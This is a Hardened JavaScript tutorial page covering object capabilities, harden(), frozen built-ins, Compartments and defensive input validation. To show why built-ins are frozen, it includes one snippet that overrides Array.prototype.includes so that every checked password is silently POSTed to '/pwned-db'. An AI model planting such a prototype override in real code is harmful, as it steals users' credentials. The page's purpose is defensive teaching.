Skip to content

Hardened JavaScript

Watch: Object-capability Programming in Secure Javascript (August 2019)

The first 15 minutes cover much of the material below. The last 10 minutes are Q&A.

Example Hardened JavaScript Code

The example below demonstrates several features of Hardened JavaScript.

js
const makeCounter = () => {
  let count = 0;
  return harden({
    incr: () => (count += 1),
    decr: () => (count -= 1),
  });
};

const counter = makeCounter();
counter.incr();
const n = counter.incr();
assert(n === 2);

We'll unpack this a bit below, but for now please note the use of functions and records:

  • makeCounter is a function.
  • Each call to makeCounter creates a new instance:
    • a new record with two properties, incr and decr, and
    • a new count variable.
  • The incr and decr properties are visible from outside the object.
  • The count variable is encapsulated; only the incr and decr methods can access it.
  • Each of these instances is isolated from each other.

Separation of Duties

Suppose we want to keep track of the number of people inside a room by having an entryGuard count up when people enter the room and an exitGuard count down when people exit the room.

We can give the entryGuard access to the incr function and give the exitGuard access to the decr function.

js
entryGuard.use(counter.incr);
exitGuard.use(counter.decr);

The result is that the entryGuard can only count up and the exitGuard can only count down.

Eventual send syntax

The entryGuard ! use(counter.incr); code in the video uses a proposed syntax for eventual send, which we will get to soon.

Object Capabilities (ocaps)

The separation of duties illustrates the core idea of object capabilities: an object reference familiar from object programming is a permission.

In this figure, Alice says: bob.greet(carol)alice calls bob.greet(carol)

If object Bob has no reference to object Carol, then Bob cannot invoke Carol; Bob can't provoke whatever behavior Carol would have.

If Alice has a reference to Bob and invokes Bob, passing Carol as an argument, then Alice has both used her permission to invoke Bob and given Bob permission to invoke Carol.

We refer to these object references as object capabilities or ocaps.

The Principle of Least Authority (POLA)

OCaps give us a natural way to express the principle of least authority, where each object is only given the permission it needs to do its legitimate job, e.g., only giving the entryGuard the ability to increment the counter.

This limits the damage that can happen if there is an exploitable bug.

Watch: Navigating the Attack Surface

to achieve a multiplicative reduction in risk. 15 min

Tool Support: eslint config

eslint configuration for Jessie

The examples in this section are written using Jessie, our recommended style for writing JavaScript smart contracts. This eslint configuration provides tool support.

  1. If working from an empty directory, a package.json file must first be created by running yarn init or yarn init -y.
  2. From there, we can install eslint into our project along with the jessie.js eslint-plugin by running yarn add eslint @jessie.js/eslint-plugin.
  3. The final step is to set up our project's eslint configuration inside of the package.json file by adding the following code block.
json
"eslintConfig" : {
  "parserOptions": {
      "sourceType": "module",
      "ecmaVersion": 6
  },
  "extends": [
    "plugin:@jessie.js/recommended"
  ]
}

Now the contents of the package.json file should look similiar to the snippet below.

json
{
  "name": "eslint-config-test",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "type": "module",
  "devDependencies": {
    "@jessie.js/eslint-plugin": "^0.1.3",
    "eslint": "^8.6.0"
  },
  "eslintConfig": {
    "parserOptions": { "sourceType": "module", "ecmaVersion": 6 },
    "extends": ["plugin:@jessie.js/recommended"]
  }
}

Linting jessie.js Code

  1. Put // @jessie-check at the beginning of your .js source file.
  2. Run yarn eslint --fix path/to/your-source.js
  3. If eslint finds issues with the code, follow the linter's advice to edit your file, and then repeat the step above.

The details of Jessie have evolved with experience. As a result, here we use (count += 1) whereas the video shows { return count++; }.

Objects and the maker Pattern

Let's unpack the makeCounter example a bit.

JavaScript is somewhat novel in that objects need not belong to any class; they can just stand on their own:

js
const origin = {
  getX: () => 0,
  getY: () => 0,
  distance: other => Math.sqrt(other.getX() ** 2 + other.getY() ** 2),
};
const x0 = origin.getX();
assert(x0 === 0);

We can make a new such object each time a function is called using the maker pattern:

js
const makePoint = (x, y) => {
  return {
    getX: () => x,
    getY: () => y,
  };
};
const p11 = makePoint(1, 1);
const d = origin.distance(p11);
assert(Math.abs(d - 1.414) < 0.001);

Use lexically scoped variables rather than properties of this.

The style above avoids boilerplate such as this.x = x; this.y = y.

Use arrow functions

We recommend arrow function syntax rather than function makePoint(x, y) { ... } declarations for conciseness and to avoid this.

Defensive Objects with harden()

By default, anyone can clobber the properties of our objects so that they fail to conform to the expected API:

js
p11.getX = () => 'I am not a number!';
const d2 = origin.distance(p11);
assert(Number.isNaN(d2));

Worse yet is to clobber a property so that it misbehaves but covers its tracks so that we don't notice:

js
p11.getY = () => {
  missiles.launch(); // !!!
  return 1;
};
const d3 = origin.distance(p11);
assert(Math.abs(d3 - 1.414) < 0.001);

Our goal is defensive correctness: a program is defensively correct if it remains correct despite arbitrary behavior on the part of its clients. For further discussion, see Concurrency Among Strangers and other Agoric papers on Robust Composition.

To prevent tampering, use the harden function, which is a deep form of Object.freeze.

js
const makePoint = (x, y) => {
  return harden({
    getX: () => x,
    getY: () => y,
  });
};

Any attempt to modify the properties of a hardened object throws:

js
const p11 = makePoint(1, 1);
p11.getX = () => 1; // throws

harden() should be called on all objects that will be transferred across a trust boundary. It's important to harden() an object before exposing the object by returning it or passing it to some other function.

harden(), classes, and details

Note that hardening a class instance also hardens the class. For more details, see harden API in the ses package

Objects with State

Now let's review the makeCounter example:

js
const makeCounter = () => {
  let count = 0;
  return harden({
    incr: () => (count += 1),
    // ...
  });
};

Each call to makeCounter creates a new encapsulated count variable along with incr and decr functions. The incr and decr functions access the count variable from their lexical scope as usual in JavaScript closures.

To see how this works in detail, you may want to step through this visualization of the code:

makeCounter code animation

Hardening JavaScript: Strict Mode

The first step to hardening JavaScript is understanding that Hardened JavaScript is always in strict mode.

Subsetting JavaScript

One way that you would notice this is if you try to assign a value to a frozen property: this will throw a TypeError rather than silently failing.

Operating in strict mode yields the important benefits of complete encapsulation (no caller etc.) and reliable static scoping.

Hardening JavaScript: Frozen Built-ins

One form of authority that is too widely available in ordinary JavaScript is the ability to redefine built-ins (shown above as "mutable primordials"). Consider this changePassword function:

js
const oldPasswords = [];

function changePassword(before, after) {
  if (oldPasswords.includes(after)) throw Error('cannot reuse');
  oldPasswords.push(after);
  // ... update DB to after
}

In ordinary JavaScript we run the risk of stolen passwords because someone might have redefined the includes method on Array objects:

js
Object.assign(Array.prototype, {
  includes: specimen => {
    fetch('/pwned-db', { method: 'POST', body: JSON.stringify(specimen) });
    return false;
  },
});

In Hardened JavaScript, the Object.assign fails because Array.prototype and all other standard, built-in objects are immutable.

Compatibility issues with ses / Hardened JavaScript

Certain libraries that make tweaks to the standard built-ins may fail in Hardened JavaScript.

The SES wiki tracks compatibility reports for NPM packages, including potential workarounds.

Hardening JavaScript: Limiting Globals with Compartments

A globally available function such as fetch means that every object, including a simple string manipulation function, can access the network. In order to eliminate this sort of excess authority, Object-capabity discipline calls for limiting globals to immutable data and deterministic functions (eliminating "ambient authority" in the diagram above).

Hardened JavaScript includes a Compartment API for enforcing OCap discipline. Only the standard, built-in objects such as Object, Array, and Promise are globally available by default (with an option for carefully controlled exceptions such as console.log). With the default Compartment options, the non-deterministic Math.random and Date.now() are not available. (Earlier versions of Hardened JavaScript provided Compartment with a Date.now() that always returned NaN.)

Almost all existing JS code was written to run under Node.js or inside a browser, so it's easy to conflate the environment features with JavaScript itself. For example, you may be surprised that Buffer and require are Node.js additions and not part of JavaScript.

The conventional globals defined by browser or Node.js hosts are not available by default in a Compartment, whether authority-bearing or not:

  • authority-bearing:
    • window, document, process, console
    • setImmediate, clearImmediate, setTimeout
      • but Promise is available, so sometimes Promise.resolve().then(_ => fn()) suffices
      • see also Timer Service
    • require (Use import module syntax instead.)
    • localStorage
      • SwingSet orthogonal persistence means state lives indefinitely in ordinary variables and data structures and need not be explicitly written to storage.
      • For high cardinality data, see the @agoric/store package.
    • global (Use globalThis instead.)
  • authority-free but host-defined:
    • Buffer
    • URL and URLSearchParams
    • TextEncoder, TextDecoder
    • WebAssembly

In compartments used to load Agoric smart contracts, globalThis is hardened, following OCap discipline. These compartments have console and assert globals from the ses package. Don't rely on console.log for printing, though; it is for debugging only, and in a blockchain consensus context, it may do nothing at all.

You can create a new Compartment object. When you do, you can decide whether to enforce OCap discipline by calling harden(compartment.globalThis) or not. If not, beware that all objects in the compartment have authority to communicate with all other objects via properties of globalThis.

Types: Advisory

Type checking JavaScript files with TypeScript can help prevent certain classes of coding errors. We recommend this style rather than writing in TypeScript syntax to remind ourselves that the type annotations really are only for lint tools and do not have any effect at runtime:

js
// @ts-check

/** @param {number} init */
const makeCounter = init => {
  let value = init;
  return {
    incr: () => {
      value += 1;
      return value;
    },
  };
};

If we're not careful, our clients can cause us to misbehave:

> const evil = makeCounter('poison')
> evil2.incr()
'poison1'

or worse:

> const evil2 = makeCounter({ valueOf: () => { console.log('launch the missiles!'); return 1; } });
> evil2.incr()
launch the missiles!
2

Types: Defensive

To be defensively correct, we need runtime validation for any inputs that cross trust boundaries:

js
import Nat from `@endo/nat`;

/** @param {number | bignum} init */
const makeCounter = init => {
  let value = Nat(init);
  return harden({
    increment: () => {
      value += 1n;
      return value;
    },
  });
};
> makeCounter('poison')
Uncaught TypeError: poison is a string but must be a bigint or a number

From OCaps to Electronic Rights: Mint and Purse

The Hardened JavaScript techniques above are powerful enough to express the core of ERTP and its security properties in just 30 lines. Careful study of this 8 minute presentation segment provides a firm foundation for writing smart contracts with Zoe.

js
const makeMint = () => {
  const ledger = makeWeakMap();

  const issuer = harden({
    makeEmptyPurse: () => mint.makePurse(0),
  });

  const mint = harden({
    makePurse: initialBalance => {
      const purse = harden({
        getIssuer: () => issuer,
        getBalance: () => ledger.get(purse),

        deposit: (amount, src) => {
          Nat(ledger.get(purse) + Nat(amount));
          ledger.set(src, Nat(ledger.get(src) - amount));
          ledger.set(purse, ledger.get(purse) + amount);
        },
        withdraw: amount => {
          const newPurse = issuer.makeEmptyPurse();
          newPurse.deposit(amount, purse);
          return newPurse;
        },
      });
      ledger.set(purse, initialBalance);
      return purse;
    },
  });

  return mint;
};